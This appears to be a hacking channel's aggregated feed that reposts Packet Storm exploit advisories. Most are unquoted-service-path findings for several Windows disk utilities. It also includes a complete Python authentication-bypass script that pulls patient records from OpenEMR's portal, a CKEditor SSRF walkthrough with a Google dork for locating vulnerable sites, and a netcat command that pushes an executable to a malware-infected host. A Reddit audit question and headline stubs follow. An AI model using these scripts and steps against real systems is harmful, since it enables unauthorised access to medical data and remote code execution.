Exploit Collector
DiskPulse 13.6.14 Unquoted Service Path

https://1.bp.blogspot.com/-gLNlUWq63_8/WWlvGRw0eoI/AAAAAAAAILQ/4OYXBaTeiPkRlDYcEes6gWLLrvO9LjoiQCLcBGAs/s1600/h138.png
DiskPulse version 13.6.14 suffers from an unquoted service path vulnerability.

MD5 | c78d3135fb201cc095d2f7f446eaafce

Download
# Exploit Title: DiskPulse 13.6.14 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 14-06-2021
# Vendor Homepage: https://www.diskpulse.com
# Software Links:
# https://www.diskpulse.com/setups_x64/diskpulseent_setup_v13.6.14_x64.exe
# https://www.diskpulse.com/setups_x64/diskpulsesrv_setup_v13.6.14_x64.exe
# Tested Version: 13.6.14
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

Disk Pulse Enterprise Disk Pulse Enterprise C:\Program Files\Disk Pulse
Enterprise\bin\diskpls.exe Auto
Disk Pulse Server Disk Pulse Server C:\Program Files\Disk Pulse
Server\bin\diskpls.exe Auto

C:\Users\IEUser>sc qc "Disk Pulse Enterprise"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Pulse Enterprise
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Pulse
Enterprise\bin\diskpls.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Disk Pulse Enterprise
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\IEUser>sc qc "Disk Pulse Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Pulse Server
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Pulse
Server\bin\diskpls.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Disk Pulse Server
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Disk Sorter Server 13.6.12 Unquoted Service Path

https://4.bp.blogspot.com/-zX4owX_f6gA/WWlvEjBsFTI/AAAAAAAAILA/L-jpFLkKi_AyIykovxrESAdO3HPxIIp7QCLcBGAs/s1600/h132.png
Disk Sorter Server version 13.6.12 suffers from an unquoted service path vulnerability.

MD5 | 1c8a4d6b4f16937181e3f34f8642abbc

Download
# Exploit Title: Disk Sorter Server 13.6.12 - 'Disk Sorter Server' Unquoted Service Path
# Discovery by: BRushiran
# Date: 15-06-2021
# Vendor Homepage: https://www.disksorter.com
# Software Links: https://www.disksorter.com/setups_x64/disksortersrv_setup_v13.6.12_x64.exe
# Tested Version: 13.6.12
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

Disk Sorter Server Disk Sorter Server C:\Program Files\Disk Sorter
Server\bin\disksrs.exe Auto

C:\>sc qc "Disk Sorter Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Sorter Server
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Sorter
Server\bin\disksrs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Disk Sorter Server
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Linux/x86 Custom Shellcode ASCII And-Sub Encoder

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Disk Savvy 13.6.14 Unquoted Service Path

https://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png
Disk Savvy version 13.6.14 suffers from an unquoted service path vulnerability.

MD5 | 7f0e81c45f7ffb0c168cf77102ed8f8a

Download
# Exploit Title: Disk Savvy 13.6.14 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 16-06-2021
# Vendor Homepage: https://www.disksavvy.com
# Software Links:
# https://www.disksavvy.com/setups_x64/disksavvysrv_setup_v13.6.14_x64.exe
# https://www.disksavvy.com/setups_x64/disksavvyent_setup_v13.6.14_x64.exe
# Tested Version: 13.6.14
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

Disk Savvy Server Disk Savvy Server C:\Program Files\Disk Savvy
Server\bin\disksvs.exe Auto
Disk Savvy Enterprise Disk Savvy Enterprise C:\Program Files\Disk
Savvy Enterprise\bin\disksvs.exe Auto

C:\>sc qc "Disk Savvy Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Savvy Server
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Savvy
Server\bin\disksvs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Disk Savvy Server
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

C:\>sc qc "Disk Savvy Enterprise"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Disk Savvy Enterprise
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Disk Savvy
Enterprise\bin\disksvs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Disk Savvy Enterprise
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
OpenEMR 5.0.1.3 Authentication Bypass

https://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png
OpenEMR version 5.0.1.3 suffers from an authentication bypass vulnerability.

MD5 | 0bfdd861dc16d07c1e19d41f3214b08b

Download
# Exploit Title: OpenEMR 5.0.1.3 - '/portal/account/register.php' Authentication Bypass
# Date 15.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_3.zip
# Version: All versions prior to 5.0.1.4
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-15152
# CWE: CWE-287
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-15152-Exploit

'''
Description:
An unauthenticated user is able to bypass the Patient Portal Login by simply navigating to
the registration page and modifying the requested url to access the desired page. Some
examples of pages in the portal directory that are accessible after browsing to the
registration page include:
- add_edit_event_user.php
- find_appt_popup_user.php
- get_allergies.php
- get_amendments.php
- get_lab_results.php
- get_medications.php
- get_patient_documents.php
- get_problems.php
- get_profile.php
- portal_payment.php
- messaging/messages.php
- messaging/secure_chat.php
- report/pat_ledger.php
- report/portal_custom_report.php
- report/portal_patient_report.php
Normally, access to these pages requires authentication as a patient. If a user were to visit
any of those pages unauthenticated, they would be redirected to the login page.
'''
'''
Import required modules:
'''
import requests
import argparse
'''
User-Input:
'''
my_parser = argparse.ArgumentParser(description='OpenEMR Authentication bypass')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--Openemrpath', type=str)
my_parser.add_argument('-R', '--PathToGet', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
openemr_path = args.Openemrpath
pathtoread = args.PathToGet
'''
Check for vulnerability:
'''
# Check, if Registration portal is enabled. If it is not, this exploit can not work
session = requests.Session()
check_vuln_url = 'http://' + target_ip + ':' + target_port + openemr_path + '/portal/account/register.php'
check_vuln = session.get(check_vuln_url).text
print('')
print('[*] Checking vulnerability: ')
print('')

if "Enter email address to receive registration." in check_vuln:
print('[+] Host Vulnerable. Proceeding exploit')
else:
print('[-] Host is not Vulnerable: Registration for patients is not enabled')

'''
Exploit:
'''
header = {
'Referer': check_vuln_url
}
exploit_url = 'http://' + target_ip + ':' + target_port + openemr_path + pathtoread
Exploit = session.get(exploit_url, headers=header)
print('')
print('[+] Results: ')
print('')
print(Exploit.text)
print('')

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Sync Breeze 13.6.18 Sync Breeze 13.6.18 Unquoted Service Path

https://4.bp.blogspot.com/-Nd-X_KvCLtU/WWlu3jy7alI/AAAAAAAAIIw/wd38Z8AjxRAJh0AdUZMKadOiqPJQRSLMgCLcBGAs/s1600/h101.png
Sync Breeze version 13.6.18 suffers from an unquoted service path vulnerability.

MD5 | 1191bf7ae103af00cabeafc04643bc7d

Download
# Exploit Title: Sync Breeze 13.6.18 - 'Multiple' Unquoted Service Path
# Discovery by: Brian Rodriguez
# Date: 16-06-2021
# Vendor Homepage: https://www.syncbreeze.com/
# Software Links:
# https://www.syncbreeze.com/setups_x64/syncbreezesrv_setup_v13.6.18_x64.exe
# https://www.syncbreeze.com/setups_x64/syncbreezeent_setup_v13.6.18_x64.exe
# Tested Version: 13.6.18
# Vulnerability Type: Unquoted Service Path
# Tested on: Windows 10 Enterprise 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto"
|findstr /i /v "c:\windows\\" |findstr /i /v """

Sync Breeze Server Sync Breeze Server C:\Program Files\Sync Breeze
Server\bin\syncbrs.exe Auto
Sync Breeze Enterprise Sync Breeze Enterprise C:\Program Files\Sync
Breeze Enterprise\bin\syncbrs.exe Auto

C:\Users\IEUser>sc qc "Sync Breeze Server"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Sync Breeze Server
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Sync Breeze
Server\bin\syncbrs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Sync Breeze Server
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

C:\Users\IEUser>sc qc "Sync Breeze Enterprise"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: Sync Breeze Enterprise
TIPO : 10 WIN32_OWN_PROCESS
TIPO_INICIO : 2 AUTO_START
CONTROL_ERROR : 0 IGNORE
NOMBRE_RUTA_BINARIO: C:\Program Files\Sync Breeze
Enterprise\bin\syncbrs.exe
GRUPO_ORDEN_CARGA :
ETIQUETA : 0
NOMBRE_MOSTRAR : Sync Breeze Enterprise
DEPENDENCIAS :
NOMBRE_INICIO_SERVICIO: LocalSystem

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
CKEditor 3 Server-Side Request Forgery

https://4.bp.blogspot.com/-qWHV3SrNBkU/WWlu99WsXjI/AAAAAAAAIJ4/a1ff3k5st1g65kjfNuwTJpgcbLEB4bHEACLcBGAs/s1600/h116.png
CKEditor 3 suffers from a server-side request forgery vulnerability.

MD5 | b2291bef225867993743756fb70a8277

Download
# Exploit Title: CKEditor 3 - Server-Side Request Forgery (SSRF)
# Google Dorks : inurl /editor/filemanager/connectors/uploadtest.html
# Date: 12-6-2021
# Exploit Author: Blackangel
# Software Link: https://ckeditor.com/
# Version:all version under 4 (1,2,3)
# Tested on: windows 7

Steps of Exploit:-

1-using google dorks

inurl /editor/filemanager/connectors/uploadtest.html

2-after going to vulnerable page you will find filed “Custom Uploader URL: ”

3-right click then choose inspect element, click on pick an element from
the page , select field Custom Uploader URL:

4-in elements “
BACKGROUND-COLOR: #dcdcdc” disabled=”” type=”text”>”

delete disabled=””

5-now you can put url start with any protocal

6-send it to the server as you see website that you have entered link

is appear into page .

what this mean??!!1

you send request to server using vulnerable website

you can said i used it as proxy

hackers >>> vulnerable website >>> http:/xx.com

so in http://xx.com logs requests come from vulnerable website

impact:-

1-that allows an attacker to induce the server-side application to make
HTTP requests to an arbitrary domain of the attacker’s choosing. if there
is big company use old version hackers can send request via there websites
and this not good for reputation of company

2-put big company website in blacklist of websites cause i hackers can send
many of request via vulnerable website

Mitigation:-

Remove the uploadtest.html file as it is not used by the application.


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Email-Worm.Win32.Kipis.a Code Execution

https://1.bp.blogspot.com/-CxGUMLkxSaY/WWlvcQOBNxI/AAAAAAAAIPc/zOKm_r-QYksdaJn5z44Zj2ZlNH1F7PBGQCLcBGAs/s1600/h75.png
Email-Worm.Win32.Kipis.a malware suffers from a code execution vulnerability.

MD5 | 5f9909702c2a22a76b31c1b64ddf1721

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/aa703bc17e3177d3b24a57c5d2a91a0c.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Email-Worm.Win32.Kipis.a
Vulnerability: Unauthenticated Remote Code Execution
Description: The malware listens on TCP port 1029 and writes incoming packets to an executable file that is renamed as "winlogins.exe". Third-party attackers who can reach the infected host can use socket utils like netcat to transfer files which get stored in the Windows\SysWOW64 dir, this may result in remote code execution.
Type: PE32
MD5: aa703bc17e3177d3b24a57c5d2a91a0c
Vuln ID: MVID-2021-0250
Dropped files: svchost.exe, Jpg.bmp, winlogins.exe
Disclosure: 06/16/2021
Exploit/PoC:
nc64.exe -c x.x.x.x 1029 < DOOM.exe
++ Ok ++
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Teachers Record Management System 1.0 SQL Injection

___________________________
@hacking_Attack
@Hacking_Video

linux audit
https://www.reddit.com/r/Pentesting/comments/o24ode/linux_audit/

Hi all, Could someone please advise on how I can process rpm -qa output of package list to find vulnerabilities and is there something that I can use to scan through etc folder to find issues. Background: I got an opportunity to work as an intern to do configuration review of a linux server and what I received is a bunch of files from etc folder, their permissions and "rpm -qa" output in a file. Please note, I do not have access to the servers. What did I do so far? I am able to manually go through ssh config, unusual commands in /etc/system.d, run commands in /etc/rc.* and /etc/init.*. For RPM output, I am manually searching for any know CVE's or any updated packages. submitted by /u/MindisaMistry (https://www.reddit.com/user/MindisaMistry)
[link] (https://www.reddit.com/r/Pentesting/comments/o24ode/linux_audit/) [comments] (https://www.reddit.com/r/Pentesting/comments/o24ode/linux_audit/)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Cyberattacks Are Tailored to Employees ... Why Isn't Security Training?

Consider four factors and behaviors that impact a particular employee's risk, and how security training should take them into account.

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
TryHackMe write-up: Res

https://cdn-images-1.medium.com/max/610/0*cbCq1l9XAKIfYEJX.png
Introduction

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video